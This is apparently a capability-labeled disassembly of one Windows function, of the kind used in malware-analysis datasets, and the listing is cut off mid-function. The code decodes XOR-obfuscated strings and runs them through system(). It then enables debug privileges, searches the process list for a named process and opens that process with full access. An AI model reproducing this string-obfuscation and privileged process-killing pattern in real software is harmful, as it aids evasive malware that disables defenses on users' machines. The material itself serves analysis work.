Function at 0x401900
Capabilities:
Acquire debug privileges
Enumerate processes
Execute command
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405172
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3b8
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401650
mov dword [ebp - 0x160], 0x8d7cd8a4
xorps xmm0, xmm0
mov dword [ebp - 0x15c], 0xf0c9db7c
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x160], 0x9853f3cf
mov dword [ebp - 0x15c], 0xabd82ec9
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x160], 0xf88857be
mov dword [ebp - 0x15c], 0xfa3de589
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x160], 0x4c2b32c2
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x160], 0xad21a6ff
mov dword [ebp - 0x15c], 0x80bdaf14
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x160], 0xb77cc9bc
mov dword [ebp - 0x15c], 0xceb500bd
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x160], 0x8dea1691
mov dword [ebp - 0x15c], 0xb74f80fa
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x340]
xorps xmm1, xmmword [ebp - 0x290]
movaps xmmword [ebp - 0x340], xmm1
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x274], ecx
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x278], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x280]
movaps xmmword [ebp - 0x330], xmm1
movups xmmword [ebp - 0x358], xmm0
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401af7
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0x358]
call fcn.00403420
lea ecx, [ebp - 0x358]
mov dword [ebp - 4], 0
call fcn.00401810
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x344]
cmp ecx, 0xf
jbe 0x401b68
mov edx, dword [ebp - 0x358]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b5e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404423
add esp, 8
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], 0
mov dword [ebp - 0x160], 0x8d7cd8a4
mov dword [ebp - 0x15c], 0xf0c9db7c
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x160], 0x9853f3cf
mov dword [ebp - 0x15c], 0xadc669d9
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x160], 0xa38e64fe
mov dword [ebp - 0x15c], 0xe260e79d
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x160], 0x1f7245f1
mov dword [ebp - 0x15c], 0x8f7452e
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x160], 0xe1accf80
mov dword [ebp - 0x15c], 0x1adf1f18
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x160], 0x9b8d7f60
mov dword [ebp - 0x15c], 0xe4d13e81
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x160], 0xad21a6ff
mov dword [ebp - 0x15c], 0x80bdaf14
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x160], 0xb77cc9bc
mov dword [ebp - 0x15c], 0xceb500bd
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x160], 0x8dea1691
mov dword [ebp - 0x15c], 0xb74f80fa
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x160], 0xe1accfb3
mov dword [ebp - 0x15c], 0x1adf1f18
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x160], 0x9b8d7f60
mov dword [ebp - 0x15c], 0xe4d13e81
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x390]
xorps xmm1, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x390], xmm1
movaps xmm1, xmmword [ebp - 0x380]
xorps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
movaps xmmword [ebp - 0x380], xmm1
movaps xmm1, xmmword [ebp - 0x370]
lea ecx, [ebp - 0x390]
xorps xmm1, xmmword [ebp - 0x2c0]
lea edx, [ecx + 1]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x370], xmm1
movups xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e00
sub ecx, edx
lea eax, [ebp - 0x390]
push ecx
push eax
lea ecx, [ebp - 0x288]
call fcn.00403420
lea ecx, [ebp - 0x288]
mov dword [ebp - 4], 1
call fcn.00401810
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x274]
cmp ecx, 0xf
jbe 0x401e71
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401e67
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404423
add esp, 8
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
mov dword [ebp - 0x160], 0xde01c58c
mov dword [ebp - 0x15c], 0xf4cfce60
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x160], 0xde1d8f9c
mov dword [ebp - 0x15c], 0xafd970cf
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x160], 0xadae5de8
mov dword [ebp - 0x15c], 0xe201a0c4
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x160], 0x721953da
mov dword [ebp - 0x15c], 0x659a1365
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x160], 0xad21a6ff
mov dword [ebp - 0x15c], 0x80bdaf14
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x160], 0xb77cc9bc
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [ebp - 0x15c], 0xceb500bd
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x160], 0x8dea1691
mov dword [ebp - 0x15c], 0xb74f80fa
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x2d0]
xorps xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x2d0], xmm1
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x214], ecx
xorps xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x2c0], xmm1
call esi
add esp, 4
test eax, eax
je 0x4021c6
mov dword [ebp - 0x160], 0xde01c58c
mov dword [ebp - 0x15c], 0xa0cdc060
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x160], 0x895caa99
mov dword [ebp - 0x15c], 0x82e04e9d
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x160], 0xabd424b1
mov dword [ebp - 0x15c], 0xb74f80cb
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x160], 0xad21a6ff
mov dword [ebp - 0x15c], 0x80bdaf14
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x160], 0xb77cc9bc
mov dword [ebp - 0x15c], 0xceb500bd
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x160], 0x8dea1691
mov dword [ebp - 0x15c], 0xb74f80fa
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x230]
xorps xmm1, xmmword [ebp - 0x2b0]
movaps xmmword [ebp - 0x230], xmm1
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x294], ecx
xorps xmm1, xmmword [ebp - 0x2a0]
push eax
movaps xmmword [ebp - 0x220], xmm1
call esi
add esp, 4
mov dword [ebp - 0x160], 0xf00afdf5
mov dword [ebp - 0x15c], 0xe9dcf834
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x160], 0xd012a0c8
mov dword [ebp - 0x15c], 0xbcda669d
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x160], 0xe19f5bb1
mov dword [ebp - 0x15c], 0xe36fe98e
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x160], 0x384d16fe
mov dword [ebp - 0x15c], 0x11ef6363
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x160], 0x8ed8efdc
mov dword [ebp - 0x15c], 0x7bab6c38
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x160], 0xb5a30b12
mov dword [ebp - 0x15c], 0xe4d13e81
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x160], 0xad21a6ff
mov dword [ebp - 0x15c], 0x80bdaf14
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x160], 0xb77cc9bc
mov dword [ebp - 0x15c], 0xceb500bd
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x26c], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x160], 0x8dea1691
mov dword [ebp - 0x15c], 0xb74f80fa
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x264], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x160], 0x4c2b7396
mov dword [ebp - 0x15c], 0x659a2243
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x25c], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x160], 0xe1accfb3
mov dword [ebp - 0x15c], 0x1adf1f18
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x254], ecx
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x160], 0x9b8d7f60
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x15c], 0xe4d13e81
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x24c], ecx
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x210]
xorps xmm1, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0x210], xmm1
movaps xmm1, xmmword [ebp - 0x200]
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x200], xmm1
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
xorps xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x1f0], xmm1
xorps xmm0, xmm0
mov dword [ebp - 0x298], 0
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x294], 0
movups xmmword [ebp - 0x2a8], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402440
sub ecx, edx
lea eax, [ebp - 0x210]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00403420
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 4], 2
call fcn.00401810
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x294]
cmp ecx, 0xf
jbe 0x4024b1
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4024a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4024a7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404423
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
mov dword [ebp - 0x160], 0xf240d298
mov dword [ebp - 0x15c], 0xe593ce67
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x300], 0xb77cacc4
mov dword [ebp - 0x2fc], 0xceb500bd
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x308], 0xad21a6ff
mov dword [ebp - 0x304], 0x80bdaf14
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x304]
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x164], 0xceb500bd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x244], ecx
mov ecx, 0x128
xorps xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x320], xmm1
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4025a2
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402655
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x4025e8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x402655
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40263f
lea eax, [ebp - 0x150]
push eax
push esi
call edi
test eax, eax
je 0x402636
nop
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40263f
lea eax, [ebp - 0x150]
push eax
push esi
call edi
test eax, eax
jne 0x402610
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402655
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
cmp dword [ebp - 0x148], 0
jne 0x4026d5
lea ecx, [ebp - 0x398]
call fcn.00401190
mov ecx, dword [ebp - 0x398]
mov eax, dword [ebp - 0x394]
cmp ecx, 0xc46535ff
jne 0x40267b
cmp eax, 0x7fffffff
je 0x4026b1
cmp eax, 0x7fffffff
jg 0x4026b1
jl 0x40268c
cmp ecx, 0xc46535ff
jae 0x4026b1
add ecx, 0x3b9aca00
mov dword [ebp - 0x238], ecx
lea ecx, [ebp - 0x238]
adc eax, 0
mov dword [ebp - 0x234], eax
call fcn.004035d0
jmp 0x4024d2
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x238], 0xffffffff
mov dword [ebp - 0x234], 0x7fffffff
call fcn.004035d0
jmp 0x4024d2
mov dword [ebp - 0x168], 0xde01c58c
mov dword [ebp - 0x164], 0xa0cdc060
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x168], 0xc515a8fa
mov dword [ebp - 0x164], 0xb7d46ccd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x168], 0xb3ca52da
mov dword [ebp - 0x164], 0xfb1aceda
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x168], 0x6a1541b6
mov dword [ebp - 0x164], 0x659a2272
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x168], 0xad21a6ff
mov dword [ebp - 0x164], 0x80bdaf14
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x164], 0xceb500bd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x168], 0x8dea1691
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x1e0]
movaps xmmword [ebp - 0x190], xmm1
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x1c8], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x1c4], ecx
xorps xmm1, xmmword [ebp - 0x1d0]
push eax
movaps xmmword [ebp - 0x180], xmm1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [ebp - 0x168], 0x8d7c8da4
add esp, 4
mov dword [ebp - 0x164], 0xe5d7c15d
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x168], 0xd915bddf
mov dword [ebp - 0x164], 0xbe952cda
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x168], 0xfe8b73fd
mov dword [ebp - 0x164], 0xd638a09f
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x168], 0x620507ff
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0xad21a6ff
mov dword [ebp - 0x164], 0x80bdaf14
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x164], 0xceb500bd
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x25c], ecx
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x168], 0x8dea1691
mov dword [ebp - 0x164], 0xb74f80fa
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x254], ecx
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x1e0]
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x1e0], xmm1
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x244], ecx
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x248], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x1d0], xmm1
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a20
sub ecx, edx
lea eax, [ebp - 0x1e0]
push ecx
push eax
lea ecx, [ebp - 0x2f8]
call fcn.00403420
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], 3
call fcn.00401810
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2e4]
cmp ecx, 0xf
jbe 0x402a91
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402a87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402a87
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404423
add esp, 8
lea eax, [ebp - 0x154]
mov dword [ebp - 0x2e8], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x2e4], 0xf
push 0x28
mov byte [ebp - 0x2f8], 0
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x154], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402b1a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x18], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x402b12
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x154]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x154]
call esi
push dword [ebp - 0x148]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x402d03
mov dword [ebp - 0x168], 0x8d7c8ba4
mov dword [ebp - 0x164], 0xecf4ee52
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x168], 0x97528df9
mov dword [ebp - 0x164], 0xfe852395
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x168], 0x8dea3fa0
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x168], 0xad21a6ff
mov dword [ebp - 0x164], 0x80bdaf14
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x168], 0xb77cc9bc
mov dword [ebp - 0x164], 0xceb500bd
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x168], 0x8dea1691
mov dword [ebp - 0x164], 0xb74f80fa
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x168], 0x4c2b7396
mov dword [ebp - 0x164], 0x659a2243
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x1b0]
movaps xmmword [ebp - 0x190], xmm1
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x198], eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x194], ecx
lea ecx, [ebp - 0x2f8]
xorps xmm1, xmmword [ebp - 0x1a0]
push eax
movaps xmmword [ebp - 0x180], xmm1
call fcn.004031c0
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], 4
call fcn.00401810
lea ecx, [ebp - 0x2f8]
call fcn.00403170
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
